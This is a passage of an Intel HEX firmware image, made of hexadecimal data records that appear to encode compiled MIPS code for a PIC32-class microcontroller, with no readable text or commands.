:10cb8c001400bf8f1000b08f0800e0031800bd2701
:10cb9c00c8ffbd273400bfaf3000b5af2c00b4af19
:10cbac002800b3af2400b2af2000b1af1c00b0af6f
:10cbbc002198c000059d023c20c8432403006388d3
:10cbcc0020c843981000a3af059d023c24c8432401
:10cbdc000300638824c843981800c0101400a3af46
:10cbec002188800021a0a0002180000001001524d4
:10cbfc0021909002212040021400a5270954410fd6
:10cc0c000400062403004014212040020eb3400b04
:10cc1c00000035a21000a5270954410f040006247a
:10cc2c000700401421100000000020a20400102670
:10cc3c002b181302eeff6014010031268210130032
:10cc4c003400bf8f3000b58f2c00b48f2800b38f09
:10cc5c002400b28f2000b18f1c00b08f0800e003bd
:10cc6c003800bd27ff00a530f8ffa524ff00a23037
:10cc7c000800422c2e004010ff00a5308028050033
:10cc8c00039d023ca4cc4224212845000000a28c28
:10cc9c00080040000000000014cd029deccc029d69
:10ccac00eccc029d3ccd029d3ccd029d3ccd029d29
:10ccbc00eccc029dc4cc029d059d023c28c8438c43
:10cccc0028c842240400428c030083a8000083b8c7
:10ccdc00070082a8040082b80800e00301000224c7
:10ccec00059d023c34c8438c34c842240400428c59
:10ccfc00030083a8000083b8070082a8040082b850
:10cd0c000800e00301000224059d023c40c8438c4e
:10cd1c0040c842240400428c030083a8000083b85e
:10cd2c00070082a8040082b80800e0030100022476
:10cd3c000800e0032110000048ffbd27b400bfaf7e
:10cd4c00b000b7afac00b6afa800b5afa400b4af9d
:10cd5c00a000b3af9c00b2af9800b1af9400b0afdd
:10cd6c00c500c0102190c00021a0800021a8a00007
:10cd7c0021b0000021b800002198000021800000a3
:10cd8c00059d023c74c842248800a2af059d023c5c
:10cd9c0078c842248c00a2af802810002110a50274
:10cdac001000a2af0a0002241400a2af500002240b
:10cdbc001800a2af231050021c00a2af2000a42721
:10cdcc00212885020a000624d216410f00010724ef
:10cddc00aa004010218840007b4b410f2000a42763
:10cdec000a000324210043100b00432c06006010a2
:10cdfc002000032405000324090043502000a4272d
:10ce0c0018b4400b059d043c54004310400003240f
:10ce1c0066004310d680829318b4400b059d043ce9
:10ce2c00059d053c88c7a5240954410f050006241f
:10ce3c0008004014059d043c059d043c4cc884240a
:10ce4c000413410f2000a527010016241bb4400b2e
:10ce5c0021b80000d4c684240413410f2000a52758
:10ce6c0021b000001bb4400b21b800000700e012f9
:10ce7c002000a427059d043c60c884240413410fa2
:10ce8c002000a5271bb4400b21b000008800a58f03
:10ce9c000954410f02000624070040142000a42767
:10ceac00059d043cc8c684240413410f2000a5270b
:10cebc001bb4400b21b000008c00a58f0954410f0e
:10cecc0002000624060040142000a427059d043c03
:10cedc007cc884240413410f2000a5272000a4271c
:10ceec00059d023c90c845240954410f02000624bc
:10cefc00060040142000a427059d043c94c88424fb
:10cf0c000413410f2000a5272000a427059d053cf4
:10cf1c00b0c8a5240954410f020006240600401491
:10cf2c008500a427059d043cb4c884240413410f38
:10cf3c002000a5278500a4272200a52700ba400fb2
:10cf4c0003000624059d043cc8c884246913410fc2
:10cf5c008500a5931bb4400b21b000000700c05204
:10cf6c00059d043c059d043cccc884240413410f4e
:10cf7c002000a527e6b3400b2000a42748c7842433
:10cf8c000413410f2000a5272000a427adb9400fa2
:10cf9c0021288000059d043c44c784240413410fc0
:10cfac002000a5271bb4400b21b00000040040104a
:10cfbc00059d043cdeb4400f2000a427059d043cd5
:10cfcc00d8c884240413410f2000a5272000a28f69
:10cfdc006400a2af2400a28f6800a2af2800a28f29
:10cfec006c00a2af2c00a28f7000a2af3000a28ff9
:10cffc007400a2af3400a28f7800a2af3800a28fc9
:10d00c007c00a2af3c00a28f8000a2af8400a0a342
:10d01c002000a427adb9400f6400a527059d043c52
:10d02c00e4c884240413410f2000a5272000a42762
:10d03c00adb9400f4000a527059d043c44c784248e
:10d04c000413410f2000a52721b000001bb4400b96
:10d05c000100172474c784240413410f2000a52752
:10d06c00218011022b101202040040100100132425
:10d07c006ab3400b8028100021980000059d043ce9
:10d08c0044c78424059d053c0413410f84c7a52483
:10d09c0021106002b400bf8fb000b78fac00b68f08
:10d0ac00a800b58fa400b48fa000b38f9c00b28fe2
:10d0bc009800b18f9400b08f0800e003b800bd2732
:10d0cc00d8ffbd272400bfaf2000b3af1c00b2af08
:10d0dc001800b1af1400b0af219080002198a000cf
:10d0ec0047b7400f2188c00021804000059d043cbb
:10d0fc0078c984240413410f212860022120600286
:10d10c005cb7400f04000524059d043c98c9842499
:10d11c000413410f21282002212020025cb7400f6c
:10d12c0004000524059d043cbcc984240413410f50
:10d13c0021284002059d043ce0c984246913410f59
:10d14c00c039057ec000117e0c0020122014107c0a
:10d15c0004004304059d053c059d053c5db4400b56
:10d16c00f0c8a52404c9a524059d043c0413410f53
:10d17c00fcc984246cb4400b8001137e040043046e
:10d18c00059d053c059d053c68b4400b14c9a524c0
:10d19c0004c9a524059d043c0413410ffcc9842437
:10d1ac008001137e059d043c04ca84246913410f3d
:10d1bc002128600204006052059d053c059d053c3c
:10d1cc0076b4400b44c9a52404c9a524059d043c90
:10d1dc000413410ffcc984244001137e059d043cbb
:10d1ec0020ca84246913410f212860020400605274
:10d1fc00059d053c059d053c84b4400b44c9a52404
:10d20c0004c9a524059d043c0413410ffcc98424c6
:10d21c000001137e059d043c3cca84246913410f14
:10d22c002128600204006052059d053c059d053ccb
:10d23c0092b4400b44c9a52404c9a524059d043c03
:10d24c000413410ffcc98424059d043c58ca842452
:10d25c006913410f2128200204002052059d053c32
:10d26c00059d053c9fb4400b50c9a52458c9a52465
:10d27c00059d113c0413410ffcc924264008137e64
:10d28c00059d043c74ca84246913410f2128600253
:10d29c008098130000a0023cb472422421986202d0
:10d2ac00fcc924260413410f0000658e01001032c6
:10d2bc00059d043c90ca84246913410f2128000267
:10d2cc0004000052059d053c059d053cb9b4400b7e
:10d2dc0064c9a5246cc9a524059d043c0413410f05
:10d2ec00fcc9842402005026059d043cacca84244d
:10d2fc000413410f21280002212000025cb7400fcb
:10d30c0003000524059d043c44c78424059d053c6d
:10d31c000413410f84c7a524010002242400bf8fed
:10d32c002000b38f1c00b28f1800b18f1400b08f87
:10d33c000800e0032800bd27e0ffbd271c00bfaf9d
:10d34c001000a0af079d043cffbf84341000a5273c
:10d35c000400062400a0073c6e4d410f5c45e724f9
:10d36c001c00bf8f0800e0032000bd27c8ffbd27ad
:10d37c003400bfaf3000b1af2c00b0af079d023c02
:10d38c00ffbf423403004388000043989801622c8d
:10d39c00180040101000a3af21288000adb9400f39
:10d3ac001400a4271000a28f80200200001102009c
:10d3bc0021208200079d113c03c0313621209100b1
:10d3cc001400a5271400062400a0103c6e4d410f3c
:10d3dc005c4507261000a28f010042241000a2af6a
:10d3ec00fcff24261000a527040006246e4d410fd7
:10d3fc005c4507263400bf8f3000b18f2c00b08ff6
:10d40c000800e0033800bd27c0ffbd273c00bfafbc
:10d41c003800b3af3400b2af3000b1af2c00b0afb6
:10d42c00079d023cffbf4234030043880000439831
:10d43c001000a3af059d043c44c78424059d053c06
:10d44c000413410f84c7a5241000a28f08004014b8
:10d45c009901432c059d043c44c78424059d053c3f
:10d46c000413410fd0caa52448b5400b3c00bf8f14
:10d47c000800601480880200059d043c44c7842485
:10d48c00059d053c0413410fe8caa52448b5400b83
:10d49c003c00bf8f0011020021882202079d103c26
:10d4ac0003c010362188300220001324059d123c45
:10d4bc00fcc952260300038a0000039a0700028a63
:10d4cc000400029a1400a3af1800a2af1c00b3a36f
:10d4dc000800022603004388000043980700458893
:10d4ec00040045982000a3ab1d00a3bb2400a5abf2
:10d4fc002100a5bb2500a0a3212040020413410f4d
:10d50c001400a52714001026ebff11560300038a04
:10d51c003c00bf8f3800b38f3400b28f3000b18f16
:10d52c002c00b08f0800e0034000bd27f8ffbd279a
:10d53c000400beaf21f0a0030800c4af0c00c5afbf
:10d54c002110c0001000c2a31000c2936400032479
:10d55c001b006200f40140001010000012100000cb
:10d56c000c00c38f1b006200f4014000101000007f
:10d57c00121000000c00c38f231862000800c28f29
:10d58c002b10620015004010000000001000c29328
:10d59c00640003241b006200f40140001010000022
:10d5ac00121000000c00c38f1b006200f40140003d
:10d5bc0010100000121800000c00c28f211862001d
:10d5cc000800c28f2b104300040040100000000024
:10d5dc00010002247bb5400b00000000211000006c
:10d5ec0021e8c0030400be8f0800bd270800e0033b
:10d5fc0000000000e8ffbd271400beaf21f0a0031f
:10d60c001800c4af2110a0001c00c2a30400c0afbe
:10d61c00010002240800c2af0000c0a3a3b5400b58
:10d62c00000000001c00c3930000c2932310620092
:10d63c00ffff42241800c38f2110620000004290ab
:10d64c00d0ff4224211840000800c28f180062004d
:10d65c000400c28f12180000211043000400c2af56
:10d66c000800c28f401002008018020021104300f5
:10d67c000800c2af0000c293010042240000c2a304
:10d68c000000c3931c00c2932b106200e5ff4014f2
:10d69c00000000000400c28f21e8c0031400be8ffc
:10d6ac001800bd270800e00300000000e0ffbd27c4
:10d6bc001c00beaf21f0a0032000c4af2110a000bd
:10d6cc002400c2a321100000211800000800c2afe2
:10d6dc000c00c3af0100022421180000130040000d
:10d6ec001100600012100000101800001000c2aff2
:10d6fc001400c3af0000c0a3fdb5400b0000000038
:10d70c002400c3930000c29323106200ffff422445
:10d71c002000c38f2110620000004290d0ff4224f1
:10d72c0021404000c3170200214840001000c28f66
:10d73c00021049701400c38f180068001218000002
:10d74c00211043001000c38f190068001220000044
:10d75c001028000021104500212840000800cc8f23
:10d76c000c00cd8f211084012b704c002118a501c9
:10d77c002120c301211880000800c2af0c00c3afe8
:10d78c001000c28f1400c38f130040001100600002
:10d79c001210000010180000c227020040580300ad
:10d7ac0025588b00405002002110400121186001c7
:10d7bc008227020080380300253887008030020061
:10d7cc00212046002b608200212867002110850152
:10d7dc00212840001000c4af1400c5af0000c29354
:10d7ec00010042240000c2a30000c3932400c29392
:10d7fc002b106200c2ff4014000000000800c28f12
:10d80c000c00c38f130040001100600012100000c8
:10d81c0010180000130040001100600012100000ee
:10d82c001018000021e8c0031c00be8f2000bd278b
:10d83c000800e00300000000f0ffbd270c00beafa5
:10d84c0021f0a0031000c4af2110a0001400c2a34b
:10d85c000000c0af27b6400b000000001000c28fc4
:10d86c00010043241000c3af000042902118400077
:10d87c001400c293ffff44241400c4a3ffff4224ee
:10d88c00041043000000c38f211062000000c2afdf
:10d89c001400c293f1ff4014000000000000c28f7e
:10d8ac0021e8c0030c00be8f1000bd270800e00368
:10d8bc0000000000f8ffbd270400beaf21f0a0035c
:10d8cc000800c4af0c00c5af1000c6af42b6400b89
:10d8dc00000000000800c28f010043240800c3af01
:10d8ec001000c38f0c00c48f06186400ff00633057
:10d8fc0001006330ff006330000043a01000c28fb2
:10d90c00ffff43241000c3aff2ff401400000000df
:10d91c0021e8c0030400be8f0800bd270800e00307
:10d92c0000000000f8ffbd270400beaf21f0a003eb
:10d93c000800c4af0c00c5af1000c6af5eb6400bfc
:10d94c00000000000800c28f010043240800c3af90
:10d95c001000c38f0c00c48f06186400ff006330e6
:10d96c0001006330ff006330000043a01000c28f41
:10d97c00ffff43241000c3aff2ff4014000000006f
:10d98c0021e8c0030400be8f0800bd270800e00397
:10d99c0000000000f8ffbd270400beaf21f0a0037b
:10d9ac000800c4af1000c6af1400c7af86b6400b5a
:10d9bc00000000000800c58f0100a4240800c4afbb
:10d9cc001800c48f20008630213800001400c88f46
:10d9dc0040480800ffff0824264088000440090145
:10d9ec001000c98f06108900251002011400c88f81
:10d9fc00061888000b1066000b18e600ff00443078
:10da0c0001008430ff0084300000a4a01800c48ff3
:10da1c00ffff85241800c5afe6ff8014000000004e
:10da2c0021e8c0030400be8f0800bd270800e003f6
:10da3c0000000000d8ffbd272400bfaf2000beaf00
:10da4c0021f0a0032800c4af2c00c5af1000c227e2
:10da5c0021204000059d023c644c45242c00c68fbf
:10da6c00e455410f000000002800c48f1000c227ad
:10da7c002128400008000624214b410f0000000023
:10da8c000100022421e8c0032400bf8f2000be8fb8
:10da9c002800bd270800e00300000000d0ffbd27d0
:10daac002c00bfaf2800beaf21f0a0033000c4afe4
:10dabc003800c6af3c00c7af1000c2272120400081
:10dacc00059d023c6c4c45243800c68f3c00c78f2a
:10dadc00e455410f000000003000c48f1000c22735
:10daec002128400010000624214b410f00000000ab
:10dafc000100022421e8c0032c00bf8f2800be8f38
:10db0c003000bd270800e00300000000e8ffbd273f
:10db1c001400bfaf1000beaf21f0a0031800c4afbb
:10db2c001c00c5af2000c6af1800c48f1c00c58fe9
:10db3c002000c68f30b6400f000000001800c48fc4
:10db4c001800c58f2000c68f8eba400f0000000051
:10db5c0021e8c0031400bf8f1000be8f1800bd2732
:10db6c000800e00300000000e8ffbd271400bfaf71
:10db7c001000beaf21f0a0031800c4af1c00c5af4d
:10db8c002000c6af1800c48f1c00c58f2000c68fa4
:10db9c004cb6400f000000001800c48f1800c58f51
:10dbac002000c68f8eba400f0000000021e8c00391
:10dbbc001400bf8f1000be8f1800bd270800e003b3
:10dbcc0000000000f0ffbd270c00beaf21f0a00349
:10dbdc001000c4af2110a0001400c2a3211000003b
:10dbec00211800000000c2af0400c3af16b7400bf1
:10dbfc00000000001000c28f010043241000c3afce
:10dc0c0000004290211840001400c293ffff4424ee
:10dc1c001400c4a3ffff4224041043002130400031
:10dc2c00c3170200213840000000c48f0400c58fc8
:10dc3c00211086002b4044002118a700212003014d
:10dc4c00211880000000c2af0400c3af1400c293bf
:10dc5c00e8ff4014000000000000c28f0400c38fd6
:10dc6c00130040001100600012100000101800009a
:10dc7c00130040001100600012100000101800008a
:10dc8c0021e8c0030c00be8f1000bd270800e00384
:10dc9c0000000000f0ffbd270c00beaf21f0a00378
:10dcac001000c4af2110a0001400c2a30000c0af2c
:10dcbc003eb7400b000000001000c28f010043244f
:10dccc001000c3af00004290211840001400c29312
:10dcdc00ffff44241400c4a3ffff4224041043009c
:10dcec000000c38f211062000000c2af1400c29369
:10dcfc00f1ff4014000000000000c28f21e8c003b7
:10dd0c000c00be8f1000bd270800e00300000000cf
:10dd1c00e0ffbd271c00bfaf1800beaf21f0a00371
:10dd2c002000c4af1000c0af2000c48f059d023c82
:10dd3c00744c45241000c227213040000357410f7a
:10dd4c00000000001000c28fff00423021e8c00329
:10dd5c001c00bf8f1800be8f2000bd270800e003f9
:10dd6c0000000000e0ffbd271c00bfaf1800beafd5
:10dd7c0021f0a0032000c4af2110a0002400c2a3f6
:10dd8c001000c0a31100c0a37eb7400b0000000020
:10dd9c002000c48f47b7400f000000001000c2a342
:10ddac001000c2932000422c05004014000000001b
:10ddbc001000c2937f00422c0300401400000000ae
:10ddcc002e0002241000c2a3059d023c784c442472
:10dddc001000c227212840000413410f000000004e
:10ddec002000c28f020042242000c2af2000c28f4c
:10ddfc000000429006004010000000002400c29376
:10de0c00ffff43242400c3a3e1ff401400000000e3
:10de1c0021e8c0031c00bf8f1800be8f2000bd2757
:10de2c000800e00300000000e0ffbd271c00bfafae
:10de3c001800beaf21f0a0032000c4af1000c0af8b
:10de4c002000c48f059d023c7c4c45241000c22749
:10de5c00213040000357410f000000002118400002
:10de6c0001000224040062100000000021100000d8
:10de7c00a2b7400b000000001000c28f21e8c003c5
:10de8c001c00bf8f1800be8f2000bd270800e003c8
:10de9c0000000000d8ffbd272400bfaf2000beaf9c
:10deac0021f0a0032800c4af1000c0af2800c48f1d
:10debc007b4b410f00000000211840000800022499
:10decc00040062100000000021100000dbb7400bc2
:10dedc00000000001400c0a3d6b7400b00000000e7
:10deec001800c2272800c48f059d033c744c652480
:10defc00213040000357410f000000002118400062
:10df0c000100022404006210000000002110000037
:10df1c00dbb7400b000000001800c38f1400c29345
:10df2c00c0100200041043001000c38f21106200c7
:10df3c001000c2af2800c28f020042242800c2afda
:10df4c001400c293010042241400c2a31400c29313
:10df5c000400422ce2ff4014000000001000c28fad
:10df6c0021e8c0032400bf8f2000be8f2800bd27ee
:10df7c000800e00300000000a8ffbd275400bfaf5d
:10df8c005000beaf21f0a0035800c4af1000c22750
:10df9c00212040005800c58fcbb8400f0000000076
:10dfac002118400040000224040062100000000010
:10dfbc0018000000f9b7400b000000001000c22749
:10dfcc002120400040000524f4b6400f0000000062
:10dfdc001300400011006000121000001018000027
:10dfec001300400011006000121000001018000017
:10dffc0021e8c0035400bf8f5000be8f5800bd27ce
:10e00c000800e00300000000c8ffbd273400bfafcc
:10e01c003000beaf2c00b1af2800b0af21f0a00390
:10e02c003800c4af21100000211800001000c2af4e
:10e03c001400c3af2000c0a31800c2270400422460
:10e04c002120400030000524040006247152410fa9
:10e05c00000000003800c28f080042241800c327bb
:10e06c00212060002128400004000624214b410f90
:10e07c00000000001800c22721204000a8b7400f64
:10e08c00000000001000c2af1400c0af1000c28f1f
:10e09c00001002001400c2af1000c0af1800c2275d
:10e0ac00212040003800c58f08000624214b410f69
:10e0bc00000000001800c22721204000a8b7400f24
:10e0cc000000000021804000218800001000c48f57
:10e0dc001400c58f211090002b3044002118b10082
:10e0ec002120c300211880001000c2af1400c3af60
:10e0fc001000c28f1400c38f130040001100600089
:10e10c0012100000101800001300400011006000f5
:10e11c00121000001018000021e8c0033400bf8f5b
:10e12c003000be8f2c00b18f2800b08f3800bd2777
:10e13c000800e00300000000d0ffbd272c00bfaf9b
:10e14c002800beaf2400b3af2000b2af1c00b1afab
:10e15c001800b0af21f0a0033000c4af3400c5af3d
:10e16c001100c0a31400c0a31500c0a31600c0a3c7
:10e17c003000c28f2120000021280000000044ac98
:10e18c00040045ac3400c48f7b4b410f00000000f1
:10e19c00010042300400401000000000211000007b
:10e1ac00c1b8400b000000003400c48f7b4b410f02
:10e1bc00000000001100422c05004014000000007b
:10e1cc000e0002241000c2a3bdb8400b00000000da
:10e1dc003400c48f7b4b410f00000000ff00423025
:10e1ec00feff4224ff0042301000c2a3bdb8400b1a
:10e1fc00000000001000c2833400c38f21106200a5
:10e20c00000042901400c2a31000c28301004224fb
:10e21c003400c38f21106200000042901500c2a38d
:10e22c001400c22721204000059d023c804c45244f
:10e23c00e88086270357410f0000000004004014bb
:10e24c000000000021100000c1b8400b00000000cd
:10e25c003000c28f0000448c0400458ce880828f13
:10e26c0021904000219800001100c283200043300f
:10e27c002130000042401200ffff072426384700df
:10e28c000638e800048853002588f1000480520009
:10e29c000b8803020b80c300211090002b3044002c
:10e2ac002118b1002120c300211880001300400068
:10e2bc00110060003000c28f1220000010280000f6
:10e2cc00000044ac040045ac1100c2930800422489
:10e2dc00ff0042301100c2a31000c293feff422483
:10e2ec00ff0042301000c2a31000c283c1ff4104e2
:10e2fc00000000000100022421e8c0032c00bf8fa5
:10e30c002800be8f2400b38f2000b28f1c00b18f69
:10e31c001800b08f3000bd270800e003000000009b
:10e32c00d8ffbd272400bfaf2000beaf21f0a00353
:10e33c002800c4af2c00c5af1800c0af2c00c48f90
:10e34c007b4b410f000000001000c2af1eb9400b08
:10e35c00000000002c00c28f010043242c00c3af2e
:10e36c00000042901c00c2a31c00c2936100422c0e
:10e37c0008004014000000001c00c2936700422cef
:10e38c0004004010000000001c00c293e0ff422477
:10e39c001c00c2a31c00c2933000422c0a00401483
:10e3ac00000000001c00c2933a00422c06004010f2
:10e3bc00000000001c00c293d0ff42241c00c2a32a
:10e3cc0005b9400b000000001c00c2934100422c18
:10e3dc000a004014000000001c00c2934700422cad
:10e3ec0006004010000000001c00c293c9ff42242c
:10e3fc001c00c2a305b9400b000000002110000056
:10e40c0024b9400b000000001400c0af1ab9400b37
:10e41c00000000002800c28f010043242800c3af75
:10e42c001c00c493030005241400c38f2318a300fd
:10e43c0007186400ff00633001006330ff00633095
:10e44c00000043a01400c28f010042241400c2af8c
:10e45c001800c28f010042241800c2af1400c28ff2
:10e46c000400422cebff4014000000001000c28f8f
:10e47c00ffff43241000c3afb6ff401400000000a0
:10e48c001800c28f21e8c0032400bf8f2000be8f6c
:10e49c002800bd270800e00300000000e0ffbd27b6
:10e4ac001c00bfaf1800beaf21f0a0032000c4af0a
:10e4bc002400c5af2000c48f2400c58fcbb8400ffb
:10e4cc00000000001000c2af1000c28f0400401406
:10e4dc00000000002110000041b9400b00000000ba
:10e4ec002000c48f2000c58f1000c68f8eba400f3d
:10e4fc00000000001000c28f21e8c0031c00bf8f79
:10e50c001800be8f2000bd270800e00300000000ab
:10e51c00e0ffbd271c00bfaf1800beaf21f0a00369
:10e52c002000c4af2400c5af2800c6af2800c28f9e
:10e53c001400c2af2800c28f0500422c0500401009
:10e54c00000000002800c28f1200c2a387b9400b44
:10e55c0000000000040002241200c2a387b9400b83
:10e56c00000000001100c0a31100c2931000c2a350
:10e57c0075b9400b000000001000c2932400c38f3b
:10e58c002110620000004290211840001200c2933a
:10e59c00ffff44241000c293231082000410430098
:10e5ac00ff0043301100c293211062001100c2a37e
:10e5bc001000c293010042241000c2a31400c28fa9
:10e5cc00ffff42241400c2af1000c2930400422c7f
:10e5dc00e9ff4014000000001100c2932000c48f1a
:10e5ec00059d033c804c652421304000e455410fcf
:10e5fc00000000002000c28f010042242000c2afa6
:10e60c001000c2932400c38f211062002400c2affb
:10e61c001400c28fd3ff4014000000002800c28fea
:10e62c0021e8c0031c00bf8f1800be8f2000bd273f
:10e63c000800e00300000000e8ffbd271400bfaf96
:10e64c001000beaf21f0a0031800c4af1c00c5af72
:10e65c00a2b9400b000000001800c28f0100432437
:10e66c001800c3af00004290059d033c844c642409
:10e67c00212840006913410f000000001c00c28fcc
:10e68c00ffff43241c00c3aff3ff40140000000045
:10e69c0021e8c0031400bf8f1000be8f1800bd27e7
:10e6ac000800e00300000000d8ffbd272400bfaf26
:10e6bc002000beaf21f0a0032800c4af2c00c5afd2
:10e6cc002c00c48f7b4b410f000000001400c2af24
:10e6dc001400c28f1800c2af1800c28f0500422c64
:10e6ec0005004010000000001800c28f1200c2a3e9
:10e6fc00f6b9400b00000000040002241200c2a373
:10e70c00f6b9400b000000001100c0a31100c29329
:10e71c001000c2a3deb9400b000000001000c29331
:10e72c002c00c38f2110620000004290d0ff4324c4
:10e73c001200c293ffff44241000c29323108200e6
:10e74c0004104300ff0043301100c29321106200fb
:10e75c001100c2a31000c293010042241000c2a3f6
:10e76c001400c28fffff42241400c2af1000c293ea
:10e77c000400422c07004010000000001000c2935f
:10e78c002c00c38f2110620000004290e3ff401464
:10e79c00000000001100c2932800c48f059d033cab
:10e7ac00804c652421304000e455410f00000000ee
:10e7bc002800c28f010042242800c2af1000c2936f
:10e7cc002c00c38f211062002c00c2af1400c28f2a
:10e7dc00cdff4014000000001800c28f21e8c003d8
:10e7ec002400bf8f2000be8f2800bd270800e00347
:10e7fc0000000000f0ffbd270c00beaf21f0a0030d
:10e80c001000c4af1400c5af2110c0001800c2a383
:10e81c000000c0a31000c28f000040a021ba400b22
:10e82c00000000001000c28f000043901800c2933b
:10e83c00ffff42241400c48f21108200000042907c
:10e84c00d0ff44240000c29304104400ff00423067
:10e85c0021106200ff0043301000c28f000043a063
:10e86c001800c293ffff42241800c2a30000c293f9
:10e87c00010042240000c2a31800c293e9ff401417
:10e88c000000000021e8c0030c00be8f1000bd2763
:10e89c000800e00300000000f8ffbd270400beaf35
:10e8ac0021f0a003211880002110a0000800c3a3b0
:10e8bc000c00c2a30800c3930c00c29307104300c2
:10e8cc00ff00423001004230ff00423021e8c0031b
:10e8dc000400be8f0800bd270800e0030000000004
:10e8ec00e8ffbd271400bfaf1000beaf21f0a0039e
:10e8fc001800c4af1c00c5af2000c6af50ba400b07
:10e90c00000000001800c38f010062241800c2af81
:10e91c001c00c28f010044241c00c4af21206000e5
:10e92c00059d033c804c652421304000e455410f8b
:10e93c00000000002000c28fffff43242000c3af63
:10e94c00f0ff40140000000021e8c0031400bf8f4a
:10e95c001000be8f1800bd270800e0030000000067
:10e96c00e0ffbd271c00bfaf1800beaf21f0a00315
:10e97c002000c4af2400c5af2400c48f7b4b410fd3
:10e98c00000000001400c2af1000c0af82ba400bf0
:10e99c00000000002400c28f0000439030000224cd
:10e9ac0009006210000000002400c28f0000439098
:10e9bc00310002240400621000000000211000004d
:10e9cc0088ba400b000000002000c28f01004324d5
:10e9dc002000c3af2400c38f010064242400c4af03
:10e9ec0000006390d0ff6324ff006330000043a05d
:10e9fc001000c28f010042241000c2af1000c38f60
:10ea0c001400c28f2b106200e2ff401400000000c3
:10ea1c001400c28f21e8c0031c00bf8f1800be8fea
:10ea2c002000bd270800e00300000000f0ffbd2718
:10ea3c000c00beaf21f0a0031000c4af1400c5af92
:10ea4c001800c6af0000c0afa4ba400b0000000015
:10ea5c001000c28f010043241000c3af1400c38ff9
:10ea6c00010064241400c4af0000639030006324e0
:10ea7c00ff006330000043a00000c28f010042245d
:10ea8c000000c2af0000c38f1800c28f2b106200b1
:10ea9c00efff4014000000001000c28f000040a0e7
:10eaac0021e8c0030c00be8f1000bd270800e00356
:10eabc0000000000f8ffbd270400beaf21f0a0034a
:10eacc000800c4af0c00c5af1000c6afc2ba400bf3
:10eadc00000000000800c28f010043240800c3afef
:10eaec000c00c38f010064240c00c4af00006390c1
:10eafc000100632cff006330000043a01000c28fa4
:10eb0c00ffff43241000c3aff2ff401400000000cd
:10eb1c0021e8c0030400be8f0800bd270800e003f5
:10eb2c0000000000e0ffbd271c00bfaf1800beaf07
:10eb3c0021f0a0032000c4af2400c5af2400c48f73
:10eb4c007b4b410f000000001000c2afe7ba400b36
:10eb5c00000000002000c28f010043242000c3af3e
:10eb6c002400c38f010064242400c4af000064900f
:10eb7c00300003240400831400000000310003243f
:10eb8c00e6ba400b0000000030000324000043a054
:10eb9c001000c28fffff43241000c3afedff4014e1
:10ebac000000000021e8c0031c00bf8f1800be8fbe
:10ebbc002000bd270800e00300000000e0ffbd2797
:10ebcc001c00bfaf1800beaf21f0a0032000c4afe3
:10ebdc0000a0023cdc1c44242000c58fcbb8400fa5
:10ebec00000000001000c2af00a0023cdc1c44245a
:10ebfc001000c58f20bb400f0000000021e8c003af
:10ec0c001c00bf8f1800be8f2000bd270800e0033a
:10ec1c0000000000e8ffbd271400bfaf1000beaf1e
:10ec2c0021f0a0031800c4af00a0023cdc1c44245b
:10ec3c001800c58fadb9400f000000000700401050
:10ec4c0000000000059d023c8c4c442400a0023cba
:10ec5c00dc1c45240413410f0000000021e8c00314
:10ec6c001400bf8f1000be8f1800bd270800e003f2
:10ec7c0000000000e8ffbd271400bfaf1000beafbe
:10ec8c0021f0a0031800c4af1c00c5af40bb400b63
:10ec9c00000000001800c28f000042900200422cbd
:10ecac000a004014000000001800c28f00004290bf
:10ecbc00059d033c944c6424212840006913410faa
:10eccc00000000003dbb400b000000001800c28f8c
:10ecdc0000004290059d033c984c64242128400080
:10ecec006913410f000000001800c28f010042247c
:10ecfc001800c2af1c00c28fffff43241c00c3af1f
:10ed0c00e4ff401400000000059d023c784c4424b4
:10ed1c00059d023c9c4c45240413410f000000004f
:10ed2c0021e8c0031400bf8f1000be8f1800bd2750
:10ed3c000800e00300000000e0f7bd271c08bfaf8f
:10ed4c001808beaf21f0a0032008c4af2408c5af3b
:10ed5c002808c6af1000c0af7dbb400b0000000000
:10ed6c002408c28f010043242408c3af0000429042
:10ed7c0010004010000000001000c28f010043245e
:10ed8c001000c3af1000c327211062000100032440
:10ed9c00040043a01000c28f010043241000c3af35
:10edac001000c32721106200040040a07dbb400b63
:10edbc00000000001000c28f010043241000c3affc
:10edcc001000c32721106200040040a01000c28f65
:10eddc00010043241000c3af1000c32721106200b0
:10edec0001000324040043a02808c28fffff432422
:10edfc002808c3afdaff4014000000001400c2273b
:10ee0c002008c48f212840001000c68f214b410fd1
:10ee1c00000000001000c28f21e8c0031c08bf8f47
:10ee2c001808be8f2008bd270800e0030000000072
:10ee3c00f0ffbd270c00beaf21f0a0031000c4af43
:10ee4c001400c5af1800c6af0000c0afafbb400b7d
:10ee5c00000000001400c28f000043901400c28f09
:10ee6c0001004224000042900500621400000000e2
:10ee7c000000c28f42100200b6bb400b0000000025
:10ee8c001000c28f010043241000c3af1400c38fc5
:10ee9c0000006390000043a01400c28f02004224c3
:10eeac001400c2af0000c28f020042240000c2afa7
:10eebc000000c38f1800c28f2b106200e5ff4014b6
:10eecc00000000000000c28f4210020021e8c003c5
:10eedc000c00be8f1000bd270800e00300000000ee
:10eeec00f0ffbd270c00beaf21f0a0031000c4af93
:10eefc000000c0afdabb400b000000000000c28f66
:10ef0c001000c38f21106200000043800d0002240a
:10ef1c0008006210000000000000c28f1000c38fb8
:10ef2c0021106200000043800a00022408006214d1
:10ef3c00000000000000c28f1000c38f211062007f
:10ef4c00000040a01000c28fe1bb400b000000008d
:10ef5c000000c28f010042240000c2af0000c28f2b
:10ef6c001000c38f2110620000004280e3ff4014a8
:10ef7c00000000001000c28f21e8c0030c00be8fff
:10ef8c001000bd270800e00300000000e8ffbd27cb
:10ef9c001400bfaf1000beaf21f0a0031800c4af27
:10efac00d480829314004014000000001800c28f1b
:10efbc000900401000000000059d023c784c4424e0
:10efcc00059d023ca04c45240413410f0000000099
:10efdc0012bc400b00000000059d023c784c442400
:10efec00059d023ca44c45240413410f0000000075
:10effc0012bc400b000000001800c28f090040102a
:10f00c0000000000059d023c784c4424059d023c08
:10f01c009c4c45240413410f0000000012bc400b13
:10f02c0000000000059d023c784c4424059d023ce8
:10f03c00a84c45240413410f0000000001000224d9
:10f04c0021e8c0031400bf8f1000be8f1800bd272d
:10f05c000800e00300000000e8ffbd271400bfaf6c
:10f06c001000beaf21f0a0031800c4afd48082936f
:10f07c000800401400000000059d023cb44c4424e0
:10f08c001800c58f0413410f000000002dbc400b6d
:10f09c0000000000059d023cbc4c44241800c58fa8
:10f0ac000413410f000000000100022421e8c003fa
:10f0bc001400bf8f1000be8f1800bd270800e0039e
:10f0cc0000000000e8ffbd271400bfaf1000beaf6a
:10f0dc0021f0a003d48082930700401400000000ac
